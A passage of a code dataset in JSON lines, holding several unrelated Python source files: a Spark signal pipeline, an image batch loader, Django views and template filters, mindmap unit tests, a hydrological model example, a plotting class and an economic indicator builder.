journey_ids)\n\n rdd = pcl_signals_rdd \\\n .map(lambda row: (row['id'], row))\n\n rdd = schema.combine_signal_to_normalized_signals_dict(rdd)\n\n pcl_rdd = rdd.flatMap(extract_pcl).cache()\n\n dialing = pcl_rdd \\\n .map(lambda row: (row.jid, row.dialing_time)) \\\n .groupByKey() \\\n .collect()\n\n dialing = {\n k: tuple(v)\n for k, v in dialing\n }\n dialing_times = spark_context.broadcast(dialing)\n speed_data = extract_vehicle_speed(spark_context, dialing_times)\n speed_data = {\n jid: {ts: speed for ts, (prev_ts, speed) in timestamps.iteritems()}\n for jid, timestamps in speed_data.iteritems()\n }\n dialing_times.unpersist()\n\n speed_broadcast = spark_context.broadcast(speed_data)\n\n merge_speed = partial(merge_speed_into_pcl, speed_data=speed_broadcast)\n pcl_rdd = pcl_rdd.map(merge_speed)\n\n return pcl_rdd\n","sub_path":"jlr/pcl/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"32216090","text":"#-*- coding: UTF-8 -*-\nimport os\nimport scipy.misc\nimport numpy as np\nfrom glob import glob\n\nclass Avatar:\n\n def __init__(self):\n self.data_name = 'train'\n self.source_shape = (256, 256, 3)\n self.img_shape = self.source_shape\n self.img_list = self._get_img_list()\n self.batch_size = 6\n self.batch_shape = (self.batch_size, ) + self.img_shape\n self.chunk_size = len(self.img_list) // self.batch_size\n\n def _get_img_list(self):\n path = os.path.join(os.getcwd(), self.data_name, '*.png')\n return glob(path)\n\n def _get_img(self, name):\n img = scipy.misc.imread(name).astype(np.float32)\n return np.array(img) / 127.5 - 1.\n\n def batches(self):\n start = 0\n end = self.batch_size\n for _ in range(self.chunk_size):\n name_list = self.img_list[start:end]\n imgs = [self._get_img(name) for name in name_list]\n batches = np.zeros(self.batch_shape)\n batches[::] = imgs\n np.random.shuffle(batches)\n yield batches\n start += self.batch_size\n end += self.batch_size\n","sub_path":"Codes/avatar.py","file_name":"avatar.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"372148655","text":"# -*- coding: utf-8 -*-\n\"\"\"Before today (the day that this script was created), embargoed components were not being made public at their\nparent registration's embargo end date. This script will find affected components and make them public.\n\"\"\"\nimport logging\nimport sys\n\nfrom modularodm import Q\n\nfrom framework.transactions.context import TokuTransaction\nfrom website import models\nfrom website.app import init_app\nfrom scripts import utils as scripts_utils\nlogger = logging.getLogger(__name__)\n\ndef main(dry_run):\n n_affected = 0\n completed_embargoes = models.Embargo.find(Q('state', 'eq', models.Embargo.COMPLETED))\n for embargo in completed_embargoes:\n parent_registration = models.Node.find_one(Q('embargo', 'eq', embargo))\n if len(parent_registration.nodes):\n if any((each.is_public is False for each in parent_registration.nodes)):\n n_affected += 1\n logger.info('GUID: {}'.format(parent_registration._id))\n logger.info('Contributors: {}'.format(', '.join([each.fullname for each in parent_registration.contributors])))\n for child in parent_registration.nodes:\n if not child.is_public:\n logger.info('Making child node {} public'.format(child._id))\n if not dry_run:\n with TokuTransaction():\n child.set_privacy('public', auth=None, save=True)\n logger.info('{} affected registrations'.format(n_affected))\n\n\nif __name__ == '__main__':\n dry_run = 'dry' in sys.argv\n init_app(routes=False)\n if not dry_run:\n scripts_utils.add_file_logger(logger, __file__)\n main(dry_run=dry_run)\n","sub_path":"scripts/make_embargoed_components_public.py","file_name":"make_embargoed_components_public.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"196718534","text":"# -*- coding: utf-8 -*-\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom django import template\nfrom django.utils.translation import gettext\nfrom openstack_dashboard.utils.meter_name import METERS_OPENSTACK_COMPUTE\n\nregister = template.Library()\n\n\n@register.filter(name='meter_trans')\ndef meter_trans(content):\n meter_info = METERS_OPENSTACK_COMPUTE.get(content,\n {'display': content})\n return gettext(meter_info.get('display'))\n\n\n@register.filter(name='meter_unit_trans')\ndef meter_unit_trans(content):\n meter_info = METERS_OPENSTACK_COMPUTE.get(content,\n {'unit': content})\n return gettext('(' + meter_info.get('unit') + ')')\n","sub_path":"horizon/horizon/templatetags/metertrans.py","file_name":"metertrans.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"188315788","text":"import sys\nsys.path.append('../') # append parent directory so that import finds pymm\nimport unittest\nimport warnings\nimport pymm\nfrom pymm import Elements as mme\nfrom pymm import MindMap\n\n# FAILING: nothing :D\n\nclass TestReadWriteExample(unittest.TestCase):\n \"\"\" Test full import export functionality\n \"\"\"\n\n def setUp(self):\n pass\n\n def test_read_file(self):\n mm = MindMap()\n mm.readfile('../docs/input.mm')\n self.assertTrue(mm)\n self.assertTrue(mm.getroot())\n mm.writefile('input_2.mm')\n\n def test_write_file(self):\n mm = MindMap()\n mm.writefile('test_write.mm')\n\n\nclass TestNativeChildIndexing(unittest.TestCase):\n \n def setUp(self):\n self.element = mme.BaseElement()\n self.node = mme.Node()\n self.node2 = mme.Node()\n\n def test_append_and_index(self):\n elem = self.element\n node = self.node\n elem.append(node)\n self.assertIn(node, elem[:])\n self.assertTrue(node == elem[0])\n\n def test_remove_and_index(self):\n elem = self.element\n node = self.node\n node2 = self.node2\n elem.append(node)\n elem.append(node2)\n self.assertFalse(node2 == elem[0])\n elem.remove(node)\n self.assertTrue(node2 == elem[0])\n elem.remove(node2)\n self.assertFalse(elem[:])\n\n def test_remove_error(self):\n self.assertRaises(ValueError, self.element.remove, self.node)\n\n\nclass TestElementAccessor(unittest.TestCase):\n '''\n Test Element Accessor\n '''\n def setUp(self):\n self.element = mme.BaseElement()\n self.node = mme.Node()\n self.node2 = mme.Node()\n self.element.nodes = mme._elementAccess.Children(self.element, ['node'])\n\n def test_constructor_allows_string(self):\n elem = self.element\n elem.nodes = mme._elementAccess.Children(elem, 'node')\n\n def test_constructor_fails_on_nonlist_nonstring(self):\n elem = self.element\n empties = [[], (), {}, '']\n for empty in empties:\n self.assertRaises(ValueError, mme._elementAccess.Children, elem, empty)\n others = [{5:6}]\n for other in others:\n self.assertRaises(ValueError, mme._elementAccess.Children, elem, empty)\n\n def test_alternative_constructor(self):\n elem = self.element\n elem.nodes = mme._elementAccess.Children.preconstructor('node')\n elem.nodes = elem.nodes(elem) #why doesn't this work? it should just work w/ elem.nodes(). It works ..inside.. the instance, but not outside?\n self.assertIsInstance(elem.nodes, mme._elementAccess.Children)\n\n def test_node_is_added_to_element_nodes(self):\n elem = self.element\n node = self.node\n elem.nodes.append(node)\n self.assertIn(node, elem.children)\n self.assertIn(node, elem.children[:])\n self.assertIn(node, elem.nodes[:])\n self.assertIn(node, elem.nodes)\n\n def test_node_is_added_using_append(self):\n elem = self.element\n node = self.node\n elem.append(node)\n self.assertIn(node, elem.children)\n self.assertIn(node, elem.children[:])\n self.assertIn(node, elem.nodes[:])\n self.assertIn(node, elem.nodes)\n\n def test_node_is_added_to_element(self):\n elem = self.element\n node = self.node\n elem.children.append(node)\n self.assertIn(node, elem.children)\n self.assertIn(node, elem.children[:])\n self.assertIn(node, elem.nodes[:])\n self.assertIn(node, elem.nodes)\n\n def test_element_is_not_in_list_of_nodes(self):\n elem = self.element\n node = self.node\n node.append(elem)\n self.assertIn(elem, node.children)\n self.assertIn(elem, node.children[:])\n self.assertFalse(elem in node.nodes[:])\n self.assertFalse(elem in node.nodes)\n\n def test_length_of_nodes_increases_after_adding_node(self):\n before = len(self.element.nodes)\n self.element.nodes.append(self.node)\n after = len(self.element.nodes)\n self.assertTrue(before + 1 == after)\n\nclass TestBaseElement(unittest.TestCase):\n\n def setUp(self):\n self.element = mme.BaseElement()\n self.node = mme.Node()\n\n def test_length_of_element_changes_after_adding_node(self):\n elem = self.element\n before = len(elem)\n elem.children.append(self.node)\n after = len(elem)\n self.assertTrue(before + 1 == after)\n\n def test_dictionary_returns_correctly_if_attribute_present_or_not(self):\n elem = self.element\n key, value = 'hogwash', 'hogvalue'\n self.assertFalse(key in elem.keys())\n elem.specs[key] = type(value)\n elem[key] = value\n self.assertTrue(key in elem.keys())\n\n def test_set_bad_attribute_warns_user(self):\n elem = self.element\n self.assertWarns(UserWarning, elem.__setitem__, 'invalid attribute should raise warning', None)\n\n def test_ambiguous_iterate_attributes_raises_error(self):\n ''' allowing user to iterate over attributes implicitly has proven to be a trap; user accidentally iterates '''\n self.assertRaises(NotImplementedError, self.element.__iter__)\n\n def test_ambiguous_implicit_contains_call_raises_error(self):\n ''' ambiguous __contains__ for either attribute or children. Therefore raise error to\n force user to specify which membership he is testing for\n '''\n self.assertRaises(NotImplementedError, self.element.__contains__, self.node)\n\n def test_ambiguous_pop_call_raises_error(self):\n ''' ambiguous pop can refer to attribute or children pop(). Therefore raise error to force user to be specific '''\n self.assertRaises(NotImplementedError, self.element.pop)\n\n def test_dictionary_raises_error_for_offspec_attribute_assignment(self):\n elem = self.element\n elem.specs['string'] = str\n elem.specs['integer'] = int\n elem.specs['one_or_two'] = [1,2]\n self.assertRaises(ValueError, elem.__setitem__, 'string', 13)\n self.assertRaises(ValueError, elem.__setitem__, 'integer', 'this is not an integer')\n self.assertRaises(ValueError, elem.__setitem__, 'one_or_two', 5)\n\n def test_dictionary_does_not_raise_error_for_in_spec_attribute_assignment(self):\n elem = self.element\n elem.specs['string'] = str\n elem.specs['integer'] = int\n elem.specs['one_or_two'] = [1,2]\n try:\n elem['string'] = 'good'\n elem['integer'] = 42\n elem['one_or_two'] = 1\n except ValueError:\n self.fail('setting element attribute raised incorrect error')\n\n\n\nif __name__ == '__main__':\n unittest.main() # comment this out to run the code below\n mm = pymm.MindMap()\n m = mm.getmap()\n converter = pymm.Factories.MindMapConverter()\n tree = converter.revert_mm_element_and_tree(mm.getmap())\n tree.getchildren() # getchildren IS DEPRECIATED. Which means that... I need a new way to traverse children\n print(len(tree))\n","sub_path":"test/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"175051268","text":"import time\n\ndef times(parameter):\n \"\"\"时间差\"\"\"\n start_t = time.time()\n parameter() # 函数参数\n end_t =time.time()\n times = end_t - start_t\n print(times)\n\ndef func1():\n num = 0\n for i in range(1,100000000):\n num+=i\n print(num)\n\ndef func2():\n num = 0\n for i in range(1,10000):\n num+=i\n print(num)\n\n# times(func1)\n# times(func2)\n\n\n# nonlocal 函数内层变量全局化\ndef fun1():\n num = 5\n def fun2():\n nonlocal num\n # global num\n num = 6\n print(\"fun2:\",num)\n fun2()\n print(\"fun1:\",num)\nfun1()\n\nnum4 = 8\ndef fun6():\n # global num4\n num4 = 5\n print(num4)\nfun6()\nprint(num4)","sub_path":"mxdx/测试一个函数执行了多长时间.py","file_name":"测试一个函数执行了多长时间.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"364739550","text":"import numpy as np\n\nfrom utils.metrics.Metrics import Metrics\n\n\nclass Nll(Metrics):\n def __init__(self, data_loader, rnn, sess):\n super().__init__()\n self.name = 'nll-oracle'\n self.data_loader = data_loader\n self.sess = sess\n self.rnn = rnn\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def get_score(self):\n return self.nll_loss()\n\n def nll_loss(self):\n nll = []\n self.data_loader.reset_pointer()\n for it in range(self.data_loader.num_batch):\n sentences, features = self.data_loader.next_batch()\n #print(\"get nll loss\")\n drop_out = .8\n try:\n g_loss = self.rnn.get_nll(self.sess, sentences, features) \n except Exception as e:\n g_loss = self.sess.run(self.rnn.pretrain_loss, \n feed_dict={self.rnn.x: sentences,\n self.rnn.conv_features: np.zeros((self.rnn.batch_size, self.rnn.image_feat_dim), dtype=np.float32),\n self.drop_out: drop_out})\n print(\"nll loss:\", g_loss) \n nll.append(g_loss)\n return np.mean(nll)\n","sub_path":"utils/metrics/Nll.py","file_name":"Nll.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"936708","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .forms import ContactForm\nfrom django.core.mail import send_mail, BadHeaderError\n\n\ndef contact(request):\n \"\"\"A view that allows potential customers to send an\n email message and then redirect to the contact page\"\"\"\n\n if request.method == 'GET':\n contact_form = ContactForm()\n else:\n contact_form = ContactForm(request.POST)\n if contact_form.is_valid():\n subject = contact_form.cleaned_data['subject']\n email_address = contact_form.cleaned_data['email_address']\n message = contact_form.cleaned_data['message']\n try:\n send_mail(subject, message, email_address,\n ['admin@example.com'])\n except BadHeaderError:\n return HttpResponse('Invalid header found.')\n return redirect('email_success')\n return render(request, \"contact/contact.html\",\n {'contact_form': contact_form})\n\n\ndef email_success(request):\n\n template = 'contact/email_success.html'\n\n return render(request, template)\n","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"300706642","text":"import requests\nimport pandas as pd\nimport json\nfrom django.shortcuts import render\nfrom django.views.generic.list import ListView\nfrom django.db.models import Count, Min, Sum, Avg\nfrom .models import(\n Weighting,\n Row_id,\n Batch_pr,\n Raw_material,\n Lot,\n W_user,\n Production2\n)\n\n\ndef get_documents_list():\n try:\n response = requests.get(\n \"http://srv-webts:9000/MobileSMARTS/api/v1/Docs/Vzveshivanie?$select=id\")\n get_data = response.json()\n except:\n pass\n return get_data\n\n\ndef get_documents_quant():\n try:\n response = requests.get(\n \"http://srv-webts:9000/MobileSMARTS/api/v1/Docs/Vzveshivanie?$select=none&$count=true\")\n data = response.json()\n quant = data['@odata.count']\n except:\n quant = \"Server not found\"\n return quant\n\n\ndef add_zero(q, v):\n for i in range(q-len(v)):\n v = \"0\"+v\n return v\n\n\ndef simple(request):\n records = []\n docs_list = get_documents_list()\n for one_doc in docs_list['value']:\n request_prefix = \"http://srv-webts:9000/MobileSMARTS/api/v1/Docs/Vzveshivanie('\"\n request_postfix = \"')?$expand=currentItems\"\n request_full = request_prefix+one_doc['id']+request_postfix\n doc = requests.get(request_full)\n doc_json = doc.json()\n for one_row in doc_json['currentItems']:\n s_weighting_id, _ = Row_id.objects.get_or_create(\n r_id=doc_json['ShtrihkodEmkosti']\n )\n s_batch, _ = Batch_pr.objects.get_or_create(\n batch_name=doc_json['Varka']\n )\n s_material, _ = Raw_material.objects.get_or_create(\n code=one_row['productId'],\n material_name=one_row['productName']\n )\n s_lot, _ = Lot.objects.get_or_create(\n lot_code=one_row['Partiya']\n )\n s_w_user, _ = W_user.objects.get_or_create(\n w_user_name=doc_json['Vypolnil']\n )\n s_quantity = one_row['currentQuantity']\n new_weighting_obj, _ = Weighting.objects.get_or_create(\n weighting_id=s_weighting_id,\n batch=s_batch,\n material=s_material,\n lot=s_lot,\n w_user=s_w_user,\n quantity=s_quantity\n )\n\n return render(request, 'success-page.html')\n\n\nclass Batch_view(ListView):\n template_name = \"batch_view.html\"\n\n def get_queryset(self, **kwargs):\n queryset = Batch_pr.objects.all()\n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(Batch_view, self).get_context_data(**kwargs)\n filter_set = self.get_queryset()\n context['records'] = filter_set\n return context\n\n\nclass Varka_view(ListView):\n template_name = \"listvar.html\"\n\n def get_queryset(self, **kwargs):\n queryset = Production2.objects.all()\n return queryset\n\n def get_context_data(self, **kwargs):\n varka = \"185D9\"\n context = super(Varka_view, self).get_context_data(**kwargs)\n filter_set = self.get_queryset()\n # filter_set = filter_set.filter(prod_batch__batch_name=varka)\n rec = []\n for f in filter_set:\n qs = Weighting.objects.filter(\n batch__batch_name=f.prod_batch.batch_name,\n material__code=f.prod_material.code\n ).values('lot__lot_code').annotate(ss=Sum('quantity'))\n a = {\n 'prod_batch': f.prod_batch.batch_name,\n 'prod_material__code': f.prod_material.code,\n 'prod_material__material_name': f.prod_material.material_name,\n 'prod_decl_quantity': f.prod_decl_quantity,\n 'www': qs,\n 'lll': qs.count\n }\n rec.append(a)\n\n # f_set= filter_set.values('prod_material__code')\n\n # # ff_set=Weighting.objects.filter(batch__batch_name=\"100D9\", material__code__in=f_set).annotate(ss=Sum('quantity'))\n # # fff_set =ff_set.values('material','lot').annotate(ss=Sum('quantity'))\n # filter_set = filter_set.filter(prod_batch__batch_name=\"100D9\")\n # context['records2'] = f_set\n # f_obj=filter_set.values('prod_material__code','prod_material__material_name').annotate(tt=Sum('prod_decl_quantity'))\n # filter_set = filter_set.values('prod_batch','prod_material').annotate(tt=Sum('prod_decl_quantity'))\n # # filter_set = filter_set.filter(prod_batch__batch_name=\"101D9\").annotate(tt=Sum('prod_decl_quantity'))\n # ff_set=Weighting.objects.filter(batch__batch_name=\"100D9\").values('batch')\n # context['records3'] = filter_set\n context['records3'] = rec\n\n return context\n\n\nclass Weighting_view(ListView):\n template_name = \"listdocs.html\"\n # model = Production # Если раскомментить строчку, get_queryset не нужен\n # context_object_name = 'records' # Имя переменной для передачи в шаблон\n\n def get_queryset(self, **kwargs):\n queryset = Weighting.objects.all()\n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(Weighting_view, self).get_context_data(**kwargs)\n filter_set = self.get_queryset()\n if self.request.GET.get('filter'):\n if self.request.GET.get('batch'):\n batch = self.request.GET.get('batch')\n context['batch'] = batch\n if self.request.GET.get('batch_ch'):\n filter_set = filter_set.filter(batch__batch_name=batch)\n context['batch_ch'] = True\n if self.request.GET.get('code'):\n code = self.request.GET.get('code')\n filter_set = filter_set.filter(\n material__code=code)\n if self.request.GET.get('lot'):\n lot = self.request.GET.get('lot')\n filter_set = filter_set.filter(lot__lot_code=lot)\n\n context['records'] = filter_set\n context['files'] = get_documents_quant()\n\n return context\n\n\ndef read_xl_file(r_file):\n xl = pd.ExcelFile(r_file)\n sh = xl.sheet_names[0]\n r_df = pd.read_excel(xl, sheet_name=sh, dtype=str)\n return r_df\n\n\ndef delete_prod(request):\n objs = Production2.objects.all()\n for obj in objs:\n obj.delete()\n return render(request, 'success-page.html')\n\n\ndef upload_simple_var(request):\n df_to_append = read_xl_file('static/var.xlsx')\n for index, row in df_to_append.iterrows():\n batch, _ = Batch_pr.objects.get_or_create(batch_name=row['batch'])\n try:\n material = Raw_material.objects.get(code=add_zero(6, row['code']))\n except Raw_material.DoesNotExist:\n material = Raw_material(code=add_zero(\n 6, row['code']), material_name=row['name'])\n material.save()\n quantity = row['quant']\n new_prod_obj, _ = Production2.objects.get_or_create(\n prod_batch=batch,\n prod_material=material,\n prod_decl_quantity=quantity\n )\n return render(request, 'success-page.html')\n","sub_path":"clear/docview/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"393096415","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 12 13:30:00 2012\r\n\r\n@author: VHOEYS\r\n\"\"\"\r\n\r\nimport sys\r\nimport os\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nsys.path.append('/media/DATA/Githubs')\r\nimport pyFUSE as pf\r\n\r\n###########################################################\r\n# DATA NETE Rain_Cal_warm_1jan02_31dec05\r\n###########################################################\r\ndatapath=\"./exampledata\"\r\nrain=np.loadtxt(os.path.join(datapath,'Rain_Cal_warm_1jan02_31dec05'))\r\nevapo=np.loadtxt(os.path.join(datapath,'ET_Cal_warm_1jan02_31dec05'))\r\nFlow_obs=np.loadtxt(os.path.join(datapath,'Flow_Cal_Meas_13aug02_31dec05'))\r\nID=rain.size-Flow_obs.size\r\n\r\nrain = rain[:1500]\r\nevapo = evapo[:1500]\r\n\r\n###########################################################\r\n# Construct model\r\n###########################################################\r\n\r\ntopt=pf.Set_options(os.path.join(datapath,'pyFUSE_strinput.txt'))\r\ntcnt=pf.Set_cnts(os.path.join(datapath,'pyFUSE_ctninput.txt'))\r\ntpar=pf.Set_pars(os.path.join(datapath,'pyFUSE_parinput.txt'))\r\n\r\ntmod = pf.pyFUSE('mdtt.hdf5', topt, tpar, rain, evapo, tcnt)\r\n\r\n###########################################################\r\n# Run the model\r\n###########################################################\r\n\r\ntmod.set_solver('MidpointImplicit')\r\ntmod.run(run_id='optimized')\r\n\r\n#tmod.close_h5()\r\n\r\n###########################################################\r\n# Plot output\r\n###########################################################\r\n#plt.plot(tmod.total_outflow(run_id='optimized')[ID:],label='Simulation')\r\n#plt.plot(Flow_obs,'--',label='Observation')\r\n#plt.xlabel('Time (hour)')\r\n#plt.ylabel(r'Flow ($m^3/s$)')\r\n#plt.legend()\r\n#plt.grid()\r\n#plt.show()\r\n\r\n#100 Monte Carlo Run of the model\r\n#tmod.run_MC(5)\r\n##plot the different outputs\r\n#for i in range(1,3):\r\n# print str(i)\r\n# plt.plot(tmod.ofile['mdtt/MCrun'+str(i)+'/FLUX/FLUX_q_all'])\r\n\r\n#for name, value in tmod.ofile['mdtt'].attrs.iteritems():\r\n# print name+\":\", value\r\n#tmod.close_h5()\r\n\r\n######################\r\n##Sobol variance base sensitivity\r\n######################\r\n\r\n##compare two pars\r\n#testpars={}\r\n#testpars['S1max'] = ModPar('S1max',51.,400.,150.,'randomUniform')\r\n#testpars['ku'] = ModPar('ku',0.004,2.,0.5,'randomUniform')\r\n#testpars['timeo'] = ModPar('timeo',4.,24.,20.,'randomUniform')\r\n#testpars['timei'] = ModPar('timei',4.,240.,200.,'randomUniform')\r\n#testpars['timeb'] = ModPar('timeb',400.,2400.,2000.,'randomUniform')\r\n#\r\n#nbaseruns = 5\r\n#sens1 = SobolVariance(testpars, ModelType = 'pyFUSE')\r\n#sens1.SobolVariancePre(nbaseruns)\r\n#sens1.run_pyFUSE(tmod)\r\n#\r\n##average flow is not best comparison\r\n#output = np.zeros((nbaseruns*(2+sens1.ndim),1))\r\n#for i in range(nbaseruns*(2+sens1.ndim)):\r\n# output[i,0] = tmod.total_outflow(run_id='SobolRun'+str(i))[:].max()\r\n# plt.plot(tmod.total_outflow(run_id='SobolRun'+str(i))[:])\r\n#\r\n#sens1.SobolVariancePost(output)\r\n#sens1.plotSi()\r\n#sens1.plotSTi()\r\n\r\n\r\n\r\n#quick delete\r\n#for i in range(nbaseruns*(2+sens1.ndim)):\r\n# del tmod.ofile['mdtt/SobolRun'+str(i)]\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"pyfuse/utilities/pyFUSE_example.py","file_name":"pyFUSE_example.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"199420896","text":"import matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nimport random\nfrom operator import add\nimport pdb\nimport truel_game\n\nclass ExpectedBullets:\n\n # def anything(self, parameters):\n # return\n\n def mergeLists(self, results):\n #def megerLists(self, lst):\n #lst will look something like: [[0,1,1], [2,1,0], [1,1,0]]\n\n\n z = zip(*results) #will give you [(),(),()]\n z = [list(a) for a in z]\n # z should now give you something like: [[0, 2, 1], [1,1,1], [1,0,0]]\n totBullets = [sum(x) for x in z] #should give you something like: [3, 3, 1]\n\n\n # totBullets = [sum(x) for x in zip(lst1, lst2, lst3)]\n return (totBullets)\n\n def xAxisLen(self, merged):\n xLen = len(merged)\n return xLen\n\n ##def assignLinePlotColors(*kwargs):\n ## L2C = []\n ## color = []\n ## for lst in listsToColor:\n ## L2C[lst]\n ## \n ## return L2C, color\n\n def annotatePlot(self, mergeMethod, xAxisMeth):\n\n ax = plt.axes()\n lines_with_annotation = []\n\n for i in range(xAxisMeth):\n print(\"in %dth i-loop\" %i)\n point, = plt.plot(i, mergeMethod[i], 'o', markersize=3)\n minX = 0 #text offset control 1 for annotation\n\n \n annotation = ax.annotate(\"Total Bullets: %s\" %mergeMethod[i],\n xy=(i, mergeMethod[i]), xycoords='data', #arrow points to the coords\n xytext=((.3+ minX), max(mergeMethod)+1), textcoords='data',\n horizontalalignment=\"left\",\n bbox=dict(boxstyle=\"round\", facecolor=\"w\", \n edgecolor=\"0.5\", alpha=0.9)\n )\n vLine = ax.axvline(x = i, linewidth=2, color='r') #vert and horiz lines\n hLine = ax.axhline(y = mergeMethod[i], linewidth=2, color='r') \n \n # by default, disable the annotation visibility\n annotation.set_visible(False)\n vLine.set_visible(False)\n hLine.set_visible(False)\n \n lWa = lines_with_annotation.append([vLine, hLine, annotation])\n return lWa\n\n \n def stackPlot(self, mergeMeth, xAxis, lst1, lst, lst3):\n xLims = plt.xlim(-.05, (xAxis +.05))\n yLims = plt.ylim(0, max(mergeMeth) + 1)\n\n\n #fig, ax = plt.subplots()\n plt.stackplot(xAxis, lst1, lst2, lst3, colors=['m','c','y'])\n plt.show()\n\n\n def on_move(self, event):\n visibility_changed = False\n for vLine, hLine, annotation in annotated:\n should_be_visible = (annotation.contains(event)[0] == True)\n should_be_visible = (vLine.contains(event)[0] == True)\n should_be_visible = (hLine.contains(event)[0] == True)\n\n if should_be_visible != annotation.get_visible():\n visibility_changed = True\n annotation.set_visible(should_be_visible)\n vLine.set_visible(should_be_visible)\n hLine.set_visible(should_be_visible)\n\n if visibility_changed: \n plt.draw()\n \n \n\n\n\n def stackPlot(self, mergeList, xAxis, results):\n # L & R side boundaries\n \n x = [mergeList.index(i) for i in mergeList]\n \n xLims = plt.xlim(-.05, (xAxis +.05))\n yLims = plt.ylim(0, max(mergeList) + 1)\n \n\n #fig, ax = plt.subplots()\n plt.stackplot(x, lst1, lst2, lst3, colors=['m','c','y'])\n \n print(\"x Axis: %d\" %xAxis)\n print(mergeList)\n print(\"list 1: %s\" %lst1)\n print(\"list 2: %s\" %lst2)\n print(\"list 3: %s\" %lst3)\n plt.show()\n \n\n def bulletChart(self, bullet_results):\n \n y1 = [1, 3, 1, 6, 6]\n y2 = [0, 4, 1, 11, 3]\n y3 = [1, 0, 1, 2, 1]\n\n # te.bullet_results gives you as an input:\n #shooters = {1: [[0,1,1], 1/3], 2 : [[2,1,0], 2/3], 3 : [[1,1,0], 1]} \n #key is shooter, values are[[bullets shot per round], hit_probability]\n #in this example, there are three shooters, 1, 2, and 3\n #shooter 1 has a hit probability of 1/3, 2 has 2/3, 3 has 1, etc\n\n # for shooter in shooters:\n # y = shooter[0] #gives bullets shot\n # z = shooter[1] #gives hit probability\n\n # y_list = [shooter[0] for shooter in shooters]\n # should give you something like: [[0,1,1], [2,1,0], [1,1,0]]\n #use y_list in mergeLists\n\n\n #how to call a function\n #britt = self.anything(parameters)\n\n results = []\n for k,v in bullet_results.items():\n results.append(v[0])\n\n fig = plt.figure()\n ax = plt.axes()\n merged = list(self.mergeLists(results))\n print(\"this is the merged list: %s\" %merged)\n\n xLength = self.xAxisLen(merged)\n annotated = self.annotatePlot(merged, xLength)\n\n #switchFocus = eventHandler(annotated)\n #on_move(event)\n\n self.stackPlot(merged, xLength, results)\n \n on_move_id = fig.canvas.mpl_connect('motion_notify_event', self.on_move)\n\n \n\n ##if __name__== \"__main__\":\n ## main()\n","sub_path":"expectedBullets_moreThan3Shooters.py","file_name":"expectedBullets_moreThan3Shooters.py","file_ext":"py","file_size_in_byte":5234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"214112214","text":"import numpy as np\nimport scipy as sc\nimport pandas as pd\nimport statsmodels.api as sm\nimport seaborn as sns\nfrom scipy.stats import norm\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom io import BytesIO\nimport warnings\nwarnings.simplefilter('ignore')\nfrom statsmodels.nonparametric.smoothers_lowess import lowess\nfrom statsmodels.sandbox.regression.predstd import wls_prediction_std\nimport ihs_lei\nimport pickle\nimport os\nfrom ihs_lei.analytics.filtering import SeasonalAdjustment\nfrom ihs_lei.analytics.leading import LeadingIndicatorAnalysis\nfrom ihs_lei.data.load import EconomicDataLoad, EconomicMetadataLoad\n\n\nclass LeadingIndicatorBuilder(object):\n \"\"\"\n This builds the leading indicator based on datasets.\n inputs:\n y: pd.Series\n x: dict(data generated by LeadingIndicatorAnalysis object)\n The inputs should be the already filtered/optimal leading series.\n It will iterate over every x and compute the OLS/RLM.\n \"\"\"\n def __init__(self, reference_series, indicator_dataset):\n self.reference_series = reference_series\n self.indicator_dataset = indicator_dataset\n self._data = ihs_lei.data.load()\n\n indicators_to_fit = []\n for indicator in indicator_dataset:\n if indicator_dataset[indicator]['valid_model']:\n indicators_to_fit.append(indicator)\n self.indicators_to_fit = indicators_to_fit\n\n def fit(self):\n \"\"\"\n Fits the Xs to our Y.\n \"\"\"\n # Now let's get the dataset.\n df_ols_dataset = {}\n df_rlm_dataset = {}\n for indicator in self.indicators_to_fit:\n indicator_data = self.indicator_dataset[indicator]['analysis_model'].indicator_series\n indicator_data = indicator_data.shift(self.indicator_dataset[indicator]['lead'], freq='M')\n indicator_data_ols = indicator_data * self.indicator_dataset[indicator]['fit']['ols_model'].params[0]\n indicator_data_rlm = indicator_data * 